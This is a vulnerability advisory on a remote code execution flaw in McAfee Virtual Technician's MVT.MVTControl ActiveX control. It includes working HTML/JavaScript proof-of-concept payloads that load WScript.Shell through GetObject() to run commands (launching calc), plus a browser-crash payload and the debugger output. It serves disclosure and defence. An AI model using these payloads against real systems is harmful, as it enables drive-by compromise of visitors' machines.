McAfee Virtual Technician 6.3.0.1911 MVT.MVTControl.6300 ActiveX Control GetObject() Security Bypass Remote Code Execution Vulnerability

McAfee Virtual Technician 6.3.0.1911 MVT.MVTControl.6300 ActiveX Control
GetObject() Security Bypass Remote Code Execution Vulnerability

tested against: Microsoft Windows Vista sp2
Microsoft Windows 2003 r2 sp2
Internet Explorer 7/8/9

product homepage: http://www.mcafee.com/it/downloads/free-tools/virtual-technician.aspx

file tested: MVTInstaller.exe

background:

the mentioned product installs an ActiveX control with
the following settings:

Binary path: C:\Program Files\McAfee\Supportability\MVT\MVT.dll
ProgID: MVT.MVTControl.6300
CLSID: {2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF}
Implements IObjectSafety: Yes
Safe for Scripting (IObjectSafety): true
Safe for Initialization (IObjectSafety: false

According to IObjectSafety interface, this control is
safe for scripting, then Internet Explorer will allow
scripting from remote.

Vulnerability:

this control offers the vulnerable GetObject() function,
see typelib:

…
/* DISPID=3 /
/ VT_VARIANT [12] /
function GetObject(
/ VT_VARIANT [12] [in] / $in_dwObjectID
)
{
/ method GetObject */
}
…

by specifing the ProgID of an arbitrary class from
the underlying operating system, with no regards for browser security,
is possible to load ex. the WScript.Shell class.
The returned object now offers the Exec() method
which can be used to launch operating system commands.

Example of attack:

<object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj' />
</object>
<script defer=defer>
var x = obj.GetObject("WScript.Shell");
x.Exec("cmd /c start calc");
</script>

it is also possible to crash the browser
by specifying an arbitrary memory address

<object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj' />
</object>
<script defer=defer>
var x = obj.GetObject(0x0c0c0c0c);
</script>

example crash:
eax=0c0c0c0c ebx=0197085c ecx=01b5efec edx=0000008e esi=01b5efec edi=01b5f344
eip=77bd8efa esp=01b5ef80 ebp=01b5ef80 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
msvcrt!wcslen+0x8:
77bd8efa 668b08 mov cx,word ptr [eax] ds:0023:0c0c0c0c=???

debugger shows an access violation while reading 0x0c0c0c0c,
this could be also exploitable but not demonstrated at the time of this report

As attachment, proof of concept code which executes calc.exe, then crash IE.

additional note:
0:010> lm -vm mvt
start end module name
03450000 034b8000 MVT (deferred)
Image path: D:\Program Files\McAfee\Supportability\MVT\MVT.dll
Image name: MVT.dll
Timestamp: Thu Jan 12 07:37:26 2012 (4F0E7FA6)
CheckSum: 0006C308
ImageSize: 00068000
File version: 6.3.0.1911
Product version: 6.3.0.1911
File flags: 0 (Mask 3F)
File OS: 4 Unknown Win32
File type: 2.0 Dll
File date: 00000000.00000000
Translations: 0409.04e4
CompanyName: McAfee, Inc.
ProductName: McAfee Virtual Technician
InternalName: MVT.dll
OriginalFilename: MVT.dll
ProductVersion: 6.3.0.1911
FileVersion: 6.3.0.1911
FileDescription: McAfee, Inc.
LegalCopyright: ©2011 McAfee, Inc. All Rights Reserved.

//rgod

original url: http://retrogod.altervista.org/9sg_mcafee_vt_adv.htm
poc: http://retrogod.altervista.org/9sg_mcafee_vt_ax.htm